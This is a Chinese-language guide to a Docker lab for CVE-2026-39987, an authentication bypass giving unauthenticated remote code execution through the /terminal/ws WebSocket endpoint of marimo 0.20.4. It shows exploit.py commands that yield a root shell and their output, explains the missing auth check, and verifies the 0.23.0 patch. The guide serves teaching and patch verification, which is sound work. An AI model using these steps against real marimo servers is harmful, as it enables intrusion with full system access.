教育性 Docker 实验室,演示 CVE-2026-39987——marimo 中通过 WebSocket 认证绕过实现的未授权远程代码执行(RCE),包含漏洞利用脚本与补丁验证步骤。
通过终端 WebSocket 认证绕过实现未认证远程代码执行
一个用于理解、复现和修复 marimo 中此严重漏洞的教育性 Docker 实验环境。
| 目标 | 以 edit 模式运行并启用令牌认证的 marimo <= 0.20.4 |
| 攻击者 | 任何安装了 Python 3 和 websocket-client 的主机 |
| 目标 | 通过 /terminal/ws 无需提供认证令牌即可获得交互式 root shell |
| 类型 | 认证绕过 → 远程代码执行(RCE) |
| 补丁 | marimo >= 0.23.0 |
⚠️ 仅供道德使用:本实验环境专为安全研究人员、开发者和学生设计,用于理解认证绕过漏洞是如何产生的以及如何正确修复。请仅在隔离环境中运行。
┌─────────────────────────────────────────────────────────────┐
│ Docker 网络 │
│ (cve-lab) │
│ │
│ ┌──────────────────────┐ ┌──────────────────────┐ │
│ │ marimo-vulnerable │ │ marimo-attacker │ │
│ │ (目标) │ │ (攻击者) │ │
│ │ 端口: 2718 │ │ Python 3.12 │ │
│ │ 认证: 令牌 │◄─────│ exploit.py │ │
│ │ marimo: 0.20.4 │ │ │ │
│ └──────────────────────┘ └──────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────┘
本实验环境中的文件:
| 文件 | 用途 |
|---|---|
Dockerfile.target | 构建存在漏洞的 marimo 服务器 |
docker-compose.yml | 编排目标容器和攻击者容器 |
exploit.py |
# 克隆仓库
git clone https://github.com/YOUR_USERNAME/CVE-2026-39987-lab.git
cd CVE-2026-39987-lab
# 启动实验环境
docker-compose up --build -d
# 运行漏洞利用
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
# 获取交互式 shell
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
# 创建工作目录并将以下文件放入其中:
# - docker-compose.yml
# - Dockerfile.target
# - exploit.py
# 构建并启动目标
docker-compose up --build -d
# 验证目标正在运行
docker ps
# 你应该看到:marimo-vulnerable Up 0.0.0.0:2718->2718/tcp
发生了什么:
0.20.4(存在漏洞的版本)的容器edit 模式启动,并显式启用了 --token 认证2718 已暴露到你的主机在利用之前,让我们验证目标在合法端点上是否受到适当保护:
# 尝试在浏览器中或通过 curl 打开主界面
curl -s http://127.0.0.1:2718/
# 预期:重定向到登录页面或返回 401/403(需要令牌)
# 尝试不带令牌连接主 WebSocket (/ws)
python3 -c "import websocket; ws=websocket.WebSocket(); ws.connect('ws://127.0.0.1:2718/ws')"
# 预期:由于缺少认证,连接被拒绝或立即关闭
关键观察: 主应用程序端点正确执行了认证。漏洞存在于一个被忽视的次要端点中。
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
预期输出:
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[+] Connected! No auth needed - Terminal WebSocket accepted
[*] Executing: id && whoami && hostname
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
<container_id>
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
你将获得一个 $ 提示符,可以在其中运行任意系统命令:
[+] Got interactive shell! Type 'exit' to quit.
$ ls -la /
total 56
drwxr-xr-x 1 root root 4096 Jan 1 00:00 .
drwxr-xr-x 1 root root 4096 Jan 1 00:00 ..
...
$ exit
[*] Connection closed.
该漏洞的存在是因为 WebSocket 端点之间的认证检查不一致:
┌─────────────────────────────────────────────────────────────────┐
│ 认证中间件 (Starlette) │
│ ├── 将未认证的连接标记为 "UnauthenticatedUser" │
│ └── 不会自动关闭 WebSocket 连接 │
└─────────────────────────────────────────────────────────────────┘
│
┌───────────────┴───────────────┐
▼ ▼
┌──────────────────┐ ┌──────────────────┐
│ /ws (主) │ │ /terminal/ws │
│ │ │ (终端) │
│ ✓ validate_auth()│ │ ✗ 无认证检查 │
│ ✓ @requires("edit")│ │ ✓ SessionMode.EDIT│
│ │ │ ✓ supports_terminal()│
│ 拒绝未认证连接 │ │ ✓ 立即接受连接 │
└──────────────────┘ └──────────────────┘
认证中间件(Starlette AuthenticationMiddleware)将未认证的连接标记为 UnauthenticatedUser,但不会自动关闭 WebSocket 连接。
正确的端点(例如 /ws)会调用 validate_auth() 或使用 @requires("edit"),从而拒绝未认证的客户端。
存在漏洞的端点(/terminal/ws)仅检查:
SessionMode.EDIT — 确保服务器处于编辑模式supports_terminal() — 确保终端功能可用await websocket.accept(),没有任何认证检查。影响: pty.fork() 会生成一个以服务器用户身份运行的完整 PTY shell(在默认 Docker 镜像中为 root),使攻击者获得完整的系统访问权限。
该补丁为 /terminal/ws 端点添加了适当的认证验证,确保其与其他端点的安全态势保持一致。
将目标升级到已修补的版本并重新运行漏洞利用以确认修复:
# 编辑 Dockerfile.target:将 marimo==0.20.4 改为 marimo==0.23.0
# 或使用:sed -i 's/marimo==0.20.4/marimo==0.23.0/' Dockerfile.target
docker-compose down
docker-compose up --build -d
# 再次尝试漏洞利用
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id"
补丁后的预期结果:
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[-] Connection failed: Connection refused or authentication required
连接现在会立即被拒绝/关闭;无法获得 shell。✅
# 停止并移除容器
docker-compose down -v
# 移除构建的镜像
docker rmi cve-lab_target
# 清理任何悬空镜像
docker image prune -f
专为教育目的而构建。请负责任地使用。 🔒
| PoC 漏洞利用脚本(单命令执行 + 交互模式) |
LAB_GUIDE.md | 本指南 |
| 问题 | 解决方案 |
|---|
Connection refused | 确保容器正在运行:docker ps 并使用 docker logs marimo-vulnerable 检查日志 |
ModuleNotFoundError: No module named 'websocket' | 安装客户端:pip install websocket-client |
| 漏洞利用无输出 | 增加超时时间:python exploit.py ... --timeout 20 |
| 容器立即退出 | 检查 Dockerfile 语法,并确保 test.py 笔记本已正确创建 |
| 权限被拒绝 | 确保 Docker 守护进程正在运行,并且你具有适当的权限 |